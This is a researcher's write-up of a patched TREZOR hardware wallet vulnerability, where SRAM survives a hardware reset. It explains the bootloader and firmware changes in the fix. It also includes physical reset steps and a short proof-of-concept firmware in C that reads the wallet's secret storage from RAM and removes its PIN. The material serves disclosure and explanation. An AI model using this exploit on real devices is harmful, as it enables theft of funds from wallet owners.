This is my independent write-up of a vulnerability reported to SatoshiLabs by an anonymous researcher.

On August 16, I noticed two interesting commits in the TREZOR firmware and a new release called v1.5.2. I was informed that an issue had been reported via SatoshiLabs’s Responsible Disclosure Bounty Program.

I was told that there would be a detailed report in the next few days, but I’m really impatient and I enjoy a challenge!

TREZOR Security Features

Before I explain the exploit, I would also like to establish a few things.

Even before this exploit was discovered, the following security procedures were already in place:

Now that the exploit has been discovered, what you need to know is:

  • Firmware 1.5.2 is not vulnerable to this exploit or any variation of it
  • Physical access is required
  • If you are using a BIP-39 passphrase, you are safe (the mnemonic is useless without the passphrase and the TREZOR does not store the passphrase)
  • This attack has nothing to do with fault injection or the recent DEFCON 25 talk about hardware wallets
  • Despite some claims, you cannot even install the official firmware in 15 seconds, let alone open the case, short the pins and install the malicious firmware
  • While you could argue that this is a hardware problem (which I’ll discuss in a second), it can and has been fixed in software
  • I don’t think that epoxy would prevent this attack because, although I don’t know much about hardware, it seems plausible that someone could look at the PCB schematics and drill through the epoxy in order to access the RST pin

Finding the bug

Booting the firmware

The first change I noticed was that, when booting the firmware, the SRAM is now wiped:

void __attribute__((noreturn)) load_app(void)
{
	// zero out SRAM
	memset_reg(_ram_start, _ram_end, 0);

	load_vector_table((const vector_table_t *) FLASH_APP_START);
}

My initial thoughts were that custom firmware could access the storage backup made by the bootloader. However, I quickly ruled this out:

  • meta_backup is only filled by the FirmwareUpdate and SelfTest messages

  • The SelfTest feature probably hasn’t even reached users yet (although this version of the bootloader has hit production)

  • There is no way, as far as I know, to get the bootloader to start the firmware after it has entered USB mode

Booting the bootloader

This file overrides the entry point of the bootloader and firmware.

The old entry point looked like this (relevant parts shown):

void __attribute__ ((weak, naked)) reset_handler(void)
{
	volatile unsigned *src, *dest;

	for (src = &_data_loadaddr, dest = &_data;
		dest < &_edata;
		src++, dest++) {
		*dest = *src;
	}

	while (dest < &_ebss) {
		*dest++ = 0;
	}

	/* Call the application's entry point. */
	main();
}

This initializes the .data and the .bss sections for static data before calling the firmware entry point.

However, the new entry point looks something like this (rewritten in C for clarity):

void __attribute__ ((weak, naked)) reset_handler(void)
{
	volatile unsigned *src, *dest;

	// zero out SRAM
	memset_reg(_ram_start, _ram_end, 0);

	for (src = &_data_loadaddr, dest = &_data;
		dest < &_edata;
		src++, dest++) {
		*dest = *src;
	}

	/* Call the application's entry point. */
	main();
}

While the first version initializes about 32 KiB of the SRAM, the new entry point zeroes out the whole SRAM (which also initializes the .bss section).

When the STM32F205RE is powered on, the RAM is initially filled with random data. So I knew that the exploit would require starting the bootloader without power cycling the device.

Resetting the TREZOR

To my knowledge, there are two methods to start the bootloader without power cycling: a software reset and a hardware reset.

A quick grep of the TREZOR firmware revealed that software resets are not used at all which meant I would have to resort to hardware resets.

The issue was that the hardware reset on many chips is a simple power cycle. However, as I looked at the features listed on ST’s website, I was in luck:

  • Clock, reset and supply management

To access the hardware reset, I would have to break open the TREZOR case. Fortunately, I had a few uncased TREZORs to hand! After utter despair at my lack of hardware knowledge, I finally found the RST pin. Even better, the pin below was GND, so I just had to use a pair of tweezers to short the pins.

TREZOR with labelled RST and GND

Writing an exploit

Since meta_backup lives in the .bss section, it would be zeroed by the reset_handler so it cannot be the attack vector.

However, the storage is also read into SRAM by the firmware. But, in order to write an exploit, I would have to find out the address of storage in RAM.

Unfortunately, SatoshiLabs only distribute the binary firmware, not the ELF files. Fortunately, the firmware can be built deterministically and soon enough, I had the address:

$ nm firmware/trezor.elf | grep " storage$"
2000b3fc B storage

Luckily, the address is much higher than the end of the .bss section in the bootloader so the bootloader won’t overwrite it.

#include "storage.h"

int main(void) {
    memcpy(&storage, (Storage *) 0x2000b3fc, sizeof(storage));
    storage_setPin(NULL);
    storage_setLabel("Pwned");
    storage_commit();

    return 0;
}

After resetting the MCU, flashing the malicious firmware, resetting the MCU again and starting the malicious firmware, all I had to do was flash the official firmware back.

Then I was greeted with a beautiful sight.

TREZOR with label 'Pwned' and tweezers

Fixing the bug

Bootloader 1.3.3

As I explained earlier, the bootloader wipes the SRAM at startup which prevents accessing SRAM left over from the firmware. It also wipes SRAM before starting the firmware which prevents accessing SRAM left over from the bootloader (not that I could find a way to exploit that though).

But the bootloader is non-upgradeable so people would have to replace their TREZOR to take advantage of this fix. However, the firmware is upgradeable.

The .confidential section

How does a firmware upgrade solve the issue, then?

As I explained earlier, the bootloader initializes approximately 32 KiB of the SRAM. If the secret data was in that 32 KiB, it would prevent this exploit.

And this is the final of the three changes in that commit. All the secret data was marked as static CONFIDENTIAL. CONFIDENTIAL is a macro that places the symbol in a new section, called .confidential, which is placed at the start of SRAM and is less than 32 KiB.

Now, even when an old version of the bootloader starts it will overwrite .confidential from the firmware, preventing this exploit.